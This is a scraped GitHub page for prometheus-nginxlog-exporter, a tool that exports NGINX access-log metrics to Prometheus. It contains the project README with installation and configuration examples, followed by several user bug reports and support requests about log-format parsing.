martin-helmich / prometheus-nginxlog-exporter Goto Github PK

Export metrics from Nginx access log files to Prometheus

License: Apache License 2.0

Python 6.11% Go 61.38% HCL 6.79% Gherkin 25.16% Dockerfile 0.48% Shell 0.08%

hacktoberfest metrics-exporter nginx prometheus-exporter

prometheus-nginxlog-exporter's Introduction

NGINX-to-Prometheus log file exporter

Helper tool that continuously reads an NGINX log file (or any kind of similar log file) and exports metrics to Prometheus.

Usage
Installation
Collected metrics
Configuration file
Advanced features
Frequently Asked Questions
Credits

Usage

You can either use a simple configuration, using command-line flags, or create a configuration file with a more advanced configuration.

Use the command-line:

$ ./prometheus-nginxlog-exporter \
  -format="<FORMAT>" \
  -listen-port=4040 \
  -namespace=nginx \
  [PATHS-TO-LOGFILES...]

Use the configuration file:

$ ./prometheus-nginxlog-exporter -config-file /path/to/config.hcl

You can verify your config file before deployment, which will exit with shell status indicating success:

$ ./prometheus-nginxlog-exporter -config-file /path/to/config.hcl -verify-config

Installation

There are multiple ways to install this exporter.

Docker

Docker images for this exporter are available at the quay.io and pkg.github.com registries:

quay.io/martinhelmich/prometheus-nginxlog-exporter:v1
ghcr.io/martin-helmich/prometheus-nginxlog-exporter/exporter:v1

Have a look at the releases page to see the available versions and how to pull their images. In general, I would recommend using the v1 tag instead of latest.

Run the exporter as follows (adjust paths like /path/to/logs and /path/to/config to your own needs):

$ docker run \
    --name nginx-exporter \
    -v /path/to/logs:/mnt/nginxlogs \
    -p 4040:4040 \
    quay.io/martinhelmich/prometheus-nginxlog-exporter \
    mnt/nginxlogs/access.log

Command-line flags and arguments can simply be appended to the docker run command, for example to use a configuration file:

$ docker run \
    --name nginx-exporter \
    -p 4040:4040 \
    -v /path/to/logs:/mnt/nginxlogs \
    -v /path/to/config.hcl:/etc/prometheus-nginxlog-exporter.hcl \
    quay.io/martinhelmich/prometheus-nginxlog-exporter \
    -config-file /etc/prometheus-nginxlog-exporter.hcl

DEB and RPM packages

Each release from 1.5.1 or newer provides both DEB and RPM packages.

DEB:

$ wget https://github.com/martin-helmich/prometheus-nginxlog-exporter/releases/download/v1.9.2/prometheus-nginxlog-exporter_1.9.2_linux_amd64.deb
$ apt install ./prometheus-nginxlog-exporter_1.9.2_linux_amd64.deb

RPM:

$ wget https://github.com/martin-helmich/prometheus-nginxlog-exporter/releases/download/v1.9.2/prometheus-nginxlog-exporter_1.9.2_linux_amd64.rpm
$ yum localinstall prometheus-nginxlog-exporter_1.9.2_linux_amd64.rpm

The package come with a dependency on systemd and configure the exporter to be running automatically:

$ systemctl status prometheus-nginxlog-exporter
$ # systemctl disable prometheus-nginxlog-exporter
$ # systemctl enable prometheus-nginxlog-exporter

The packages drop a configuration file to /etc/prometheus-nginxlog-exporter.hcl which you can adjust to your own needs.

Manual installation, with systemd

If you do not want to use one of the pre-built packages, you can download the binary itself and manually configure systemd to start it. You can find an example unit file for this service in this repository. Simply copy the unit file to /etc/systemd/system:

$ wget -O /etc/systemd/system/prometheus-nginxlog-exporter.service https://raw.githubusercontent.com/martin-helmich/prometheus-nginxlog-exporter/master/res/package/prometheus-nginxlog-exporter.service
$ systemctl enable prometheus-nginxlog-exporter
$ systemctl start prometheus-nginxlog-exporter

The shipped unit file expects the binary to be located in /usr/sbin/prometheus-nginxlog-exporter (if you sideload the exporter without using your package manager, you might want to put it to /usr/local, instead) and the configuration file in /etc/prometheus-nginxlog-exporter.hcl. Adjust to your own needs.

Kubernetes

If you run a logfile-generating service (be it NGINX, or anything that generates similar access log files) in Kubernetes, you can run the exporter as a sidecar along your "main" container within the same pod.

The following example shows you how to deploy the exporter as a sidecar, accepting logs from the main container via syslog:

apiVersion: v1
kind: Pod
metadata:
  name: nginx-example
  annotations:
    prometheus.io/scrape: "true"
    prometheus.io/port: "4040"
spec:
  containers:
    - name: web
      image: nginx
      # ...
    - name: exporter
      image: docker.pkg.github.com/martin-helmich/prometheus-nginxlog-exporter/exporter:v1
      args: ["-config-file", "/etc/prometheus-nginxlog-exporter/config.hcl"]
      volumeMounts:
      - name: exporter-config
        mountPath: /etc/prometheus-nginxlog-exporter
  volumes:
    - name: exporter-config
      configMap:
        name: exporter-config

In this example, the configuration file is passed via the exporter-config ConfigMap. This might look like follows:

apiVersion: v1
kind: ConfigMap
metadata:
  name: exporter-config
data:
  config.hcl: |
    listen {
      port = 4040
    }

    namespace "nginx" {
      source = {
        syslog {
          listen_address = "udp://127.0.0.1:5531"
          format = "rfc3164"
        }
      }

      format = "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" \"$http_x_forwarded_for\""

      labels {
        app = "default"
      }
    }

The config file instructs the exporter to accept log input via syslog. To forward logs to the exporter, just instruct your main container to send its access logs via syslog to 127.0.0.1:5531 (which works, since the main container and the sidecar share their network namespace).

Build from source

To build the exporter from source, simply build it with go get:

$ go get github.com/martin-helmich/prometheus-nginxlog-exporter

Alternatively, clone this repository and just run go build:

$ git clone https://github.com/martin-helmich/prometheus-nginxlog-exporter.git
$ cd prometheus-nginxlog-exporter
$ go build

Collected metrics

This exporter collects the following metrics. This collector can listen on multiple log files at once and publish metrics in different namespaces. Each metric uses the labels method (containing the HTTP request method) and status (containing the HTTP status code).

❗	Keep in mind that some of these metrics will require certain values to be present in your access log format (for example, the `http_upstream_time_seconds` metric will require your access to contain the variable `$upstream_response_time`.

Metrics are exported at the /metrics path.

These metrics are exported:

`<namespace>_http_response_count_total`	The total amount of processed HTTP requests/responses.
`<namespace>_http_response_size_bytes`	The total amount of transferred content in bytes.
`<namespace>_http_request_size_bytes`	The total amount of received traffic in bytes. This metrics requires the `$request_length` variable in the log format.
`<namespace>_http_upstream_time_seconds`	A summary vector of the upstream response times in seconds. Logging these needs to be specifically enabled in NGINX using the `$upstream_response_time` variable in the log format.
`<namespace>_http_upstream_time_seconds_hist`	Same as `<namespace>_http_upstream_time_seconds`, but as a histogram vector. Also requires the `$upstream_response_time` variable in the log format.
`<namespace>_http_response_time_seconds`	A summary vector of the total response times in seconds. Logging these needs to be specifically enabled in NGINX using the `$request_time` variable in the log format.
`<namespace>_http_response_time_seconds_hist`	Same as `<namespace>_http_response_time_seconds`, but as a histogram vector. Also requires the `$request_time` variable in the log format.

Additional labels can be configured in the configuration file (see below).

<namespace> can be omitted or overridden - see [Namespace-as-labels] for more information.

Configuration file

You can specify a configuration file to read at startup. The configuration file is expected to be either in HCL or YAML format. Here’s an example file:

listen {
  port = 4040
  address = "10.1.2.3"
  metrics_endpoint = "/metrics"
}

consul {
  enable = true
  address = "localhost:8500"
  datacenter = "dc1"
  scheme = "http"
  token = ""
  service {
    id = "nginx-exporter"
    name = "nginx-exporter"
    address = "192.168.3.1"
    tags = ["foo", "bar"]
  }
}

namespace "app1" {
  format = "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" \"$http_x_forwarded_for\""
  source {
    files = [
      "/var/log/nginx/app1/access.log"
    ]
  }

  # log can be printed to std out, e.g. for debugging purposes (disabled by default)
  print_log = false

  # metrics_override = { prefix = "myprefix" }
  # namespace_label = "vhost"

  labels {
    app = "application-one"
    environment = "production"
    foo = "bar"
  }

  histogram_buckets = [.005, .01, .025, .05, .1, .25, .5, 1, 2.5, 5, 10]
}

namespace "app2" {
  format = "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" \"$http_x_forwarded_for\" $upstream_response_time"
  source {
    files = [
      "/var/log/nginx/app2/access.log"
    ]
  }
}

The same file as YAML file:

listen:
  port: 4040
  address: "10.1.2.3"
  metrics_endpoint: "/metrics"

consul:
  enable: true
  address: "localhost:8500"
  datacenter: dc1
  scheme: http
  token: ""
  service:
    id: "nginx-exporter"
    name: "nginx-exporter"
    address = "192.168.3.1"
    tags: ["foo", "bar"]

namespaces:
  - name: app1
    format: "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" \"$http_x_forwarded_for\""
    source:
      files:
        - /var/log/nginx/app1/access.log
    # metrics_override:
    #   prefix: "myprefix"
    # namespace_label: "vhost"
    labels:
      app: "application-one"
      environment: "production"
      foo: "bar"
    histogram_buckets: [.005, .01, .025, .05, .1, .25, .5, 1, 2.5, 5, 10]
  - name: app2
    format: "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" \"$http_x_forwarded_for\" $upstream_response_time"
    source:
      files:
        - /var/log/nginx/app2/access.log

Advanced features

Namespace as labels

For historic reasons, this exporter exports separate metrics for different namespaces (because the namespace is part of the metric name). However, in many (most) cases, it’s more convenient to have the same metric name across different namespaces (with different log formats and names).

This can be done in two steps:

Override Prometheus metrics namespace to some common prefix (metrics_override)
Set label name for nginxlog-exporter’s config namespace (namespace_label)

namespace "app1" {
  ...
  metrics_override = { prefix = "myprefix" }
  namespace_label = "vhost"
  ...
}

namespace "app2" {
  ...
  metrics_override = { prefix = "myprefix" }
  namespace_label = "vhost"
  ...
}

Exported metrics will have the following format:

myprefix_http_response_count_total{vhost="app1", ...}
myprefix_http_response_count_total{vhost="app2", ...}
...

prefix can be set to "", resulting metrics like http_response_count_total{…}
namespace_label can be omitted - so you have full control on metric format

Some details and history on this can be found in issue #13.

Custom labels pass-through

Partial case of [Dynamic-re-labeling]:

namespace "app1" {
  format = "$remote_addr - $remote_user [$time_local] ... \"$geoip_country_code\" $upstream_addr"
  ...
  relabel "upstream_addr" { from = "upstream_addr" }
  relabel "country" { from = "geoip_country_code" }
  ...
}

Exported metrics will have upstream_addr and country labels.

Log sources

Currently, the exporter supports reading log data from

files
syslog

All log sources can be configured on a per-namespace basis using the source property.

Reading from files

When reading from log files, all that is needed is a files property:

namespace "test" {
  source {
    files = ["/var/log/nginx/access.log"]
    // ...
  }
}

Reading from syslog

The exporter can also open and listen on a Syslog port and read logs from there. Configuration works as follows:

namespace "test" {
  source {
    syslog {
      listen_address = "udp://127.0.0.1:8514" (1)
      format = "rfc3164" (2)
      tags = ["nginx"] (3)
    }

    // ...
  }
}

The listen_address might be either a TCP or UDP address. UNIX sockets are not supported (yet — pull requests are welcome)
The format may be one of rfc3164, rfc5424, rfc6587 or auto. If omitted, it will default to auto
The tags must be specified.

Have a look at the respective section of the NGINX documentation on how to set up NGINX to log into syslog.

Dynamic re-labeling

Re-labeling lets you add arbitrary fields from the parsed log line as labels to your metrics. To add a dynamic label, add a relabel statement to your configuration file:

namespace "app-1" {
  // ...

  relabel "host" {
    from = "server_name"
    whitelist = [ (1)
      "host-a.com",
      "host-b.de"
    ]
  }
}

The whitelist property is optional; if set, only the supplied values will be added as label. All other values will be subsumed under the "other" label value. See #16 for a more detailed discussion around the reasoning.

Dynamic relabeling also allows you to aggregate your metrics by request path (which replaces the experimental feature originally introduced in #23). The following example splits the content of the request variable at every space (using split) and return the second element (index 1) of the resulting list which is the base for the regex):

namespace "app1" {
  // ...

  relabel "request_uri" {
    from = "request"
    split = 2
    separator = " " // (1)

    // if enabled, only include label in response count metric (default is false)
    only_counter = false

    match "^/users/[0-9]+" {
      replacement = "/users/:id"
    }

    match "^/profile" {
      replacement = "/profile"
    }
  }
}

The separator property is optional; if omitted, the space character (" ") will be assumed as separator.

If a match is found, the replacement replaces each occurrence of the corresponding match in the original value. Otherwise the processing continues to check the following match statements.

The YAML configuration for relabelings works similar to the HCL configuration:

namespaces:
- name: app1
  relabel_configs:
  - target_label: request_uri
    from: request
    split: 2
    separator: ' '
    matches:
    - regexp: "^/users/[0-9]+"
      replacement: "/users/:id"

If your regular expression contains groups, you can also use the matched values of those in the replacement value:

relabel "request_uri" {
  from = "request"
  split = 2

  match "^/(users|profiles)/[0-9]+" {
    replacement = "/$1/:id"
  }
}

File Globs

You can specify one or more wildcards in the source file names, in which case the wildcards will be resolved to the corresponding list of files at startup of the exporter.

Be aware that the list of matches is only evaluated at the start of the program. If a new file is added with a match of one glob filter, you’ll have to restart the program for it to be monitored.

Given a config like this:

---
namespace "test" {
  source {
    files = ["/var/log/nginx/*_access.log"]
    // ...
  }
}
---

And a folder containing these files:

# /var/log/nginx
main_access.log
main_error.log
virtualhost1_access.log
virtualhost1_error.log

The list of files monitored by this namespace will be /var/log/nginx/main_access.log,/var/log/nginx/virtualhost1_access.log.

JSON log_format

You can use the JSON parser by setting the --parser command line flag or parser config file property to json.

Frequently Asked Questions

I have started the exporter, but it is not exporting any application-specific metrics!

This may have several issues:

Make sure that the access log files that your exporter is listening on are present. The exporter will exit with an error code if a file is present but cannot be opened (for example, due to bad permissions), but will wait for a file if it does not yet exist.
Make sure that the exporter can parse the lines from your access log files. Pay attention to the <namespace>_parse_errors_total metric, which will indicate how many log lines could not be parsed.

The exporter exports the <namespace>_http_response_count_total metric, but not [other metric that is mentioned in the README]!

Most metrics require certain values to be present in the access log files that are not present in the NGINX default configuration. Especially, make sure that the access log contains the $upstream_response_time, $request_time and/or $body_bytes_sent variables. These need to be enabled in the NGINX configuration (more precisely, the log_format setting) and then added to the format specified for the exporter.

How can I configure NGINX to export these variables?

Have a look at NGINX’s Logging and Monitoring guide. It contains some good examples that contain the $request_time and $upstream_response_time:

log_format upstream_time '$remote_addr - $remote_user [$time_local] '
                         '"$request" $status $body_bytes_sent '
                         '"$http_referer" "$http_user_agent"'
                         'rt=$request_time uct="$upstream_connect_time" uht="$upstream_header_time" urt="$upstream_response_time"';

Credits

tail, MIT license
gonx, MIT license
Prometheus Go client library, Apache License
HashiCorp configuration language, Mozilla Public License

prometheus-nginxlog-exporter's People

Contributors

Stargazers

Watchers

Forkers

astronaut1712 koolay rajiteh nikitka svenagnew sethryder krzysztofsobinski omata edgarxue songjiayang adic26 bandsintown ajnasz rephus crowdz bentol boombick hickey bukalapak rmasgutov astrisk beastoin kvakanet x86nick zhukovsd advertilemobile nomyself journeymidnight itshikanov ronaldoedy jefersonflamini ggoinden-rms fanyanming2016 pulord brenwhyte phonglh79 listellodavide un4me keni7385 merlindeep dbriones anakaiti wfxiang08 songlaibin alde regalius taxagawa remesh tangxinfa el4v khanhkid lonisy digitalsanity h17liner qixuanw conradolega kadaan dewey363 tirex m-samoylov ggoals airo frenkye libincla rockyhardy anthraxn8b aroksetx brandery stempler rivik texastribune pijain wetransform-os jackzhou121 rulai-jianfang ashumkin alvintzz mvandermeulen isolo movableink clannadxr labbsr0x binlabnet edomora97 justhumanz sokratis1904 revilwang soundcarrot dmaganto stassvar yngwiewang gui13 kaystrobach raigfp xelatirdan zhaoyadong00 gurumee92 chonthu srinivas325 denisgolius

prometheus-nginxlog-exporter's Issues

unexpected regexp from nginx variable $time_iso8601

Issue type:
Bug report

What happened:
nginx variable $time_iso8601 converted to (?P<time_iso>[^8]*)8601 regexp

What you expected to happen:
valid regexp expected, something like this: (?P<time_iso8601>)

How to reproduce it (as minimally and precisely as possible):
install nginx, add to nginx.conf:

log_format frontend '$time_iso8601\t$geoip_country_code\t$remote_addr\t$scheme\t$host\t$request_method\t'
                    '"$request_uri"\t$status\t$body_bytes_sent\t"$http_referer"\t"$http_user_agent"\t-\t'
                    '$request_time\t$upstream_response_time';

access_log /var/log/nginx/access.log frontend;

Other important information:
For details, see Alphabetical index of some nginx variables - http://nginx.org/en/docs/varindex.html
(but variables from 3-rd party modules not included in this list).

Configuration file:

listen:
  port: 4040
  address: "172.22.22.101"

namespaces:
  - name: ht_router
    format: "$time_iso8601\t$geoip_country_code\t$remote_addr\t$scheme\t$host\t$request_method\t\"$request_uri\"\t$status\t$body_bytes_sent\t\"$http_referer\"\t\"$http_user_agent\"\t-\t$request_time\t$upstream_response_time"
    source_files:
      - /var/log/nginx/access.log
    relabel_configs:
      - target_label: host
        from: host

Exporter output:

error while parsing line '2018-07-19T23:21:56+03:00     RU      141.8.142.53    https   www.example.com    GET     "/robots.txt"   200     38      "-"     "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" -       0.000   0.001': access log line '2018-07-19T23:21:56+03:00      RU      141.8.142.53    https   www.example.com    GET     "/robots.txt"   200     38      "-"     "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" -       0.000   0.001' does not match given format '^(?P<time_iso>[^8]*)8601    (?P<geoip_country_code>[^       ]*)     (?P<remote_addr>[^      ]*)     (?P<scheme>[^   ]*)     (?P<host>[^        ]*)     (?P<request_method>[^   ]*)     "(?P<request_uri>[^"]*)"        (?P<status>[^   ]*)     (?P<body_bytes_sent>[^  ]*)     "(?P<http_referer>[^"]*)"       "(?P<http_user_agent>[^"]*)"    - (?P<request_time>[^      ]*)     (?P<upstream_response_time>[^ ]*)$'

Example log file:
(tabs converted to spaces, in real log file only one char \t is field separator)

2018-07-19T23:21:56+03:00     RU      141.8.142.53    https   www.example.com    GET     "/robots.txt"   200     38      "-"     "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" -       0.000   0.001': access log line '2018-07-19T23:21:56+03:00      RU      141.8.142.53    https   www.example.com    GET     "/robots.txt"   200     38      "-"     "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"     -       0.000   0.001

Environment:

Exporter version: v1.2.0
OS: CentOS Linux release 7.5
Others: nginx/1.15.1 from official http://nginx.org/en/linux_packages.html#mainline repo

Can we include the access url in the export?

Issue type:

Feature request

What you expected to happen:

Wanting to report a table in garafana to show lists of URL that have errors.

Can I scrap logs from nginx docker stdout, from a docker swarm ?

Issue type:

Support request

Can this tool scrape metrics from docker containers, which will stdout logs.
I've 4 nginx containers running in a docker swarm,.

Environment:

OS (e.g. from /etc/os-release): ubuntu 16.04 with docker swarm

Set label value from a format variable

I know this would be something you would have to be very careful with so you didn't flood your prometheus server with a very large amount of metrics but would it be possible to set a label from a format variable?

For example if you have multiple hosts (server blocks) that feed into a single access log, so it would be nice if I could add a label based on the host.

For example something like:

namespace "em" {
  format = "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" $remote_addr $http_x_forwarded_for $host $upstream_addr"
  source_files = [
    "/var/log/nginx/access.log"
  ]
  labels {
    host = $host
  }
}

Again I know this could end badly depending on what variable you used so I understand if this is something you would want to avoid, but figured I would bring it up anyways.

Thanks!

how to use this module ?

Issue type:

Support request

What happened:
I have nginx running in a container. I want to use this use this module , I tried this below command:
docker run --name nginx-exporter -p 4040:4040 -v logs:/mnt/nginxlogs -v /Users/bsushant/gateway/docker/nginx-log-exporter/prometheus-nginxlog-exporter.yml:/etc/prometheus-nginxlog-exporter.yml quay.io/martinhelmich/prometheus-nginxlog-exporter -config-file /etc/prometheus-nginxlog-exporter.yml

How to reproduce it (as minimally and precisely as possible):
My config file is>>
http://jsoneditoronline.org/?id=aaa0390449aa2b11b87fa0d13171c32e

Metrics output (remove section, if not applicable):

loading configuration file /etc/prometheus-nginxlog-exporter.yml
illegal
illegal
panic: At 2:7: illegal char

goroutine 1 [running]:
main.main()
	/go/src/github.com/martin-helmich/prometheus-nginxlog-exporter/main.go:125 +0xcc2

Environment: local

Exporter version: latest image
OS (e.g. from /etc/os-release): mac
Others: docker 1.17.0

Not able to understand the metrics information

Issue type:
Not able to understand the metrics information

Support request

What happened:
I have run the prometheus-nginxlog-exporter and got the metrics by http://192.168.50.123:4040/metrics
But not able to analyse it properly. How to get the following metrics from the metrics output

_http_response_count_total	The total amount of processed HTTP requests/responses.
_http_response_size_bytes	The total amount of transferred content in bytes.
_http_upstream_time_seconds	A summary vector of the upstream response times in seconds. Logging these needs to be specifically enabled in NGINX using the $upstream_response_time variable in the log format.
_http_upstream_time_seconds_hist	Same as _http_upstream_time_seconds, but as a histogram vector. Also requires the $upstream_response_time variable in the log format.
_http_response_time_seconds	A summary vector of the total response times in seconds. Logging these needs to be specifically enabled in NGINX using the $request_time variable in the log format.
_http_response_time_seconds_hist	Same as _http_response_time_seconds, but as a histogram vector. Also requires the $request_time variable in the log format.

 listen {
   port = 4040
   address = "192.168.50.123"
 }

 namespace "app1" {
   format = "$remote_addr - $upstream_cache_status - [$time_local] - $request $status $body_bytes_sent $http_referer $http_user_agent rt=$request_time uct=$upstream_connect_time uht=$upstream_header_time urt=$upstream_response_time"
   source_files = ["/etc/nginx/logs/frontend-server-access-1.log"]
   labels {
     app = "my-application"
     environment = "production"
     foo = "bar"
   }
 }
# Please post the contents of your configuration file, here

Metrics output (remove section, if not applicable):

# HELP go_gc_duration_seconds A summary of the GC invocation durations.
# TYPE go_gc_duration_seconds summary
go_gc_duration_seconds{quantile="0"} 0
go_gc_duration_seconds{quantile="0.25"} 0
go_gc_duration_seconds{quantile="0.5"} 0
go_gc_duration_seconds{quantile="0.75"} 0
go_gc_duration_seconds{quantile="1"} 0
go_gc_duration_seconds_sum 0
go_gc_duration_seconds_count 0
# HELP go_goroutines Number of goroutines that currently exist.
# TYPE go_goroutines gauge
go_goroutines 12
# HELP go_memstats_alloc_bytes Number of bytes allocated and still in use.
# TYPE go_memstats_alloc_bytes gauge
go_memstats_alloc_bytes 1.741288e+06
# HELP go_memstats_alloc_bytes_total Total number of bytes allocated, even if freed.
# TYPE go_memstats_alloc_bytes_total counter
go_memstats_alloc_bytes_total 1.741288e+06
# HELP go_memstats_buck_hash_sys_bytes Number of bytes used by the profiling bucket hash table.
# TYPE go_memstats_buck_hash_sys_bytes gauge
go_memstats_buck_hash_sys_bytes 1.443154e+06
# HELP go_memstats_frees_total Total number of frees.
# TYPE go_memstats_frees_total counter
go_memstats_frees_total 524
# HELP go_memstats_gc_sys_bytes Number of bytes used for garbage collection system metadata.
# TYPE go_memstats_gc_sys_bytes gauge
go_memstats_gc_sys_bytes 229376
# HELP go_memstats_heap_alloc_bytes Number of heap bytes allocated and still in use.
# TYPE go_memstats_heap_alloc_bytes gauge
go_memstats_heap_alloc_bytes 1.741288e+06
# HELP go_memstats_heap_idle_bytes Number of heap bytes waiting to be used.
# TYPE go_memstats_heap_idle_bytes gauge
go_memstats_heap_idle_bytes 1.662976e+06
# HELP go_memstats_heap_inuse_bytes Number of heap bytes that are in use.
# TYPE go_memstats_heap_inuse_bytes gauge
go_memstats_heap_inuse_bytes 2.17088e+06
# HELP go_memstats_heap_objects Number of allocated objects.
# TYPE go_memstats_heap_objects gauge
go_memstats_heap_objects 7643
# HELP go_memstats_heap_released_bytes_total Total number of heap bytes released to OS.
# TYPE go_memstats_heap_released_bytes_total counter
go_memstats_heap_released_bytes_total 0
# HELP go_memstats_heap_sys_bytes Number of heap bytes obtained from system.
# TYPE go_memstats_heap_sys_bytes gauge
go_memstats_heap_sys_bytes 3.833856e+06
# HELP go_memstats_last_gc_time_seconds Number of seconds since 1970 of last garbage collection.
# TYPE go_memstats_last_gc_time_seconds gauge
go_memstats_last_gc_time_seconds 0
# HELP go_memstats_lookups_total Total number of pointer lookups.
# TYPE go_memstats_lookups_total counter
go_memstats_lookups_total 21
# HELP go_memstats_mallocs_total Total number of mallocs.
# TYPE go_memstats_mallocs_total counter
go_memstats_mallocs_total 8167
# HELP go_memstats_mcache_inuse_bytes Number of bytes in use by mcache structures.
# TYPE go_memstats_mcache_inuse_bytes gauge
go_memstats_mcache_inuse_bytes 2400
# HELP go_memstats_mcache_sys_bytes Number of bytes used for mcache structures obtained from system.
# TYPE go_memstats_mcache_sys_bytes gauge
go_memstats_mcache_sys_bytes 16384
# HELP go_memstats_mspan_inuse_bytes Number of bytes in use by mspan structures.
# TYPE go_memstats_mspan_inuse_bytes gauge
go_memstats_mspan_inuse_bytes 23200
# HELP go_memstats_mspan_sys_bytes Number of bytes used for mspan structures obtained from system.
# TYPE go_memstats_mspan_sys_bytes gauge
go_memstats_mspan_sys_bytes 32768
# HELP go_memstats_next_gc_bytes Number of heap bytes when next garbage collection will take place.
# TYPE go_memstats_next_gc_bytes gauge
go_memstats_next_gc_bytes 4.194304e+06
# HELP go_memstats_other_sys_bytes Number of bytes used for other system allocations.
# TYPE go_memstats_other_sys_bytes gauge
go_memstats_other_sys_bytes 807846
# HELP go_memstats_stack_inuse_bytes Number of bytes in use by the stack allocator.
# TYPE go_memstats_stack_inuse_bytes gauge
go_memstats_stack_inuse_bytes 1.409024e+06
# HELP go_memstats_stack_sys_bytes Number of bytes obtained from system for stack allocator.
# TYPE go_memstats_stack_sys_bytes gauge
go_memstats_stack_sys_bytes 1.409024e+06
# HELP go_memstats_sys_bytes Number of bytes obtained by system. Sum of all system allocations.
# TYPE go_memstats_sys_bytes gauge
go_memstats_sys_bytes 7.772408e+06
# HELP http_request_duration_microseconds The HTTP request latencies in microseconds.
# TYPE http_request_duration_microseconds summary
http_request_duration_microseconds{handler="prometheus",quantile="0.5"} 2109.832
http_request_duration_microseconds{handler="prometheus",quantile="0.9"} 2109.832
http_request_duration_microseconds{handler="prometheus",quantile="0.99"} 2109.832
http_request_duration_microseconds_sum{handler="prometheus"} 2109.832
http_request_duration_microseconds_count{handler="prometheus"} 1
# HELP http_request_size_bytes The HTTP request sizes in bytes.
# TYPE http_request_size_bytes summary
http_request_size_bytes{handler="prometheus",quantile="0.5"} 378
http_request_size_bytes{handler="prometheus",quantile="0.9"} 378
http_request_size_bytes{handler="prometheus",quantile="0.99"} 378
http_request_size_bytes_sum{handler="prometheus"} 378
http_request_size_bytes_count{handler="prometheus"} 1
# HELP http_requests_total Total number of HTTP requests made.
# TYPE http_requests_total counter
http_requests_total{code="200",handler="prometheus",method="get"} 1
# HELP http_response_size_bytes The HTTP response sizes in bytes.
# TYPE http_response_size_bytes summary
http_response_size_bytes{handler="prometheus",quantile="0.5"} 1261
http_response_size_bytes{handler="prometheus",quantile="0.9"} 1261
http_response_size_bytes{handler="prometheus",quantile="0.99"} 1261
http_response_size_bytes_sum{handler="prometheus"} 1261
http_response_size_bytes_count{handler="prometheus"} 1
# HELP process_cpu_seconds_total Total user and system CPU time spent in seconds.
# TYPE process_cpu_seconds_total counter
process_cpu_seconds_total 0
# HELP process_max_fds Maximum number of open file descriptors.
# TYPE process_max_fds gauge
process_max_fds 1024
# HELP process_open_fds Number of open file descriptors.
# TYPE process_open_fds gauge
process_open_fds 8
# HELP process_resident_memory_bytes Resident memory size in bytes.
# TYPE process_resident_memory_bytes gauge
process_resident_memory_bytes 4.93568e+06
# HELP process_start_time_seconds Start time of the process since unix epoch in seconds.
# TYPE process_start_time_seconds gauge
process_start_time_seconds 1.51755191825e+09
# HELP process_virtual_memory_bytes Virtual memory size in bytes.
# TYPE process_virtual_memory_bytes gauge
process_virtual_memory_bytes 1.28671744e+08

Example log file (remove section, if not applicable):

192.168.50.146---[02/Feb/2018:11:39:32 +0530]-GET /1.ts HTTP/1.1502173-Apache-HttpClient/4.5.3 (Java/1.8.0_161)rt=0.000uct=0.000 : 0.000uht=0.000 : 0.000urt=0.000 : 0.000
192.168.50.146---[02/Feb/2018:11:39:32 +0530]-GET /2.ts HTTP/1.1502173-Apache-HttpClient/4.5.3 (Java/1.8.0_161)rt=0.000uct=0.000 : 0.000uht=0.000 : 0.000urt=0.000 : 0.000
192.168.50.146---[02/Feb/2018:11:39:32 +0530]-GET /1.ts HTTP/1.1502173-Apache-HttpClient/4.5.3 (Java/1.8.0_161)rt=0.000uct=0.000 : 0.000uht=0.000 : 0.000urt=0.000 : 0.000
192.168.50.146---[02/Feb/2018:11:39:32 +0530]-GET /2.ts HTTP/1.1502173-Apache-HttpClient/4.5.3 (Java/1.8.0_161)rt=0.000uct=0.000 : 0.000uht=0.000 : 0.000urt=0.000 : 0.000
192.168.50.146---[02/Feb/2018:11:39:32 +0530]-GET /1.ts HTTP/1.1502173-Apache-HttpClient/4.5.3 (Java/1.8.0_161)rt=0.000uct=0.000 : 0.000uht=0.000 : 0.000urt=0.000 : 0.000
192.168.50.146---[02/Feb/2018:11:39:32 +0530]-GET /8.ts HTTP/1.1502173-Apache-HttpClient/4.5.3 (Java/1.8.0_161)rt=0.000uct=0.000 : 0.000uht=0.000 : 0.000urt=0.000 : 0.000

Environment:

Exporter version:
OS (e.g. from /etc/os-release): centos 7
Others:

Need label for request_uri

It's necessary to know slow request_uri.

Two and more upstream servers

Issue type:

Support request

What happened:
urt="0.005 : 0.019"' does not match given format '^(?P<remote_addr>[^ ]*)
May be prometheus-nginxlog-exporter dont support two upstream servers

What you expected to happen:
get last prometheus-nginxlog-exporter.
Use log_format from site.

How to reproduce it (as minimally and precisely as possible):

Other important information:

Configuration file (remove section, if not applicable):

listen {
  port = 4040
  address = "10.2.53.52"
}

namespace "app1" {
  format = "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" \"$http_x_forwarded_for\""
  source_files = [
    "/var/log/nginx/app-access.log"
  ]
  labels {
    app = "application-one"
    environment = "production"
    foo = "bar"
  }
}

Metrics output (remove section, if not applicable):

# Please post the output of the exporter's /metrics endpoint, if applicable

Exporter output (remove section, if not applicable):

# Please post the output of the exporter itself, if applicable

Example log file (remove section, if not applicable):
error while parsing line '10.193.84.23 - - [11/Mar/2019:19:58:33 +0300] "GET /offsets.... HTTP/1.1" 200 151 "-" "Java/1.8.0_144"rt=0.024 uct="0.001 : 0.001" uht="0.005 : 0.019" urt="0.005 : 0.019"': access log line '10.193.84.23 - - [11/Mar/2019:19:58:33 +0300] "GET /offsets... HTTP/1.1" 200 151 "-" "Java/1.8.0_144"rt=0.024 uct="0.001 : 0.001" uht="0.005 : 0.019" urt="0.005 : 0.019"' does not match given format '^(?P<remote_addr>[^ ]) - (?P<remote_user>[^ ]) [(?P<time_local>[^]])] "(?P[^"])" (?P[^ ]) (?P<body_bytes_sent>[^ ]) "(?P<http_referer>[^"])" "(?P<http_user_agent>[^"])" "(?P<http_x_forwarded_for>[^"]*)"'

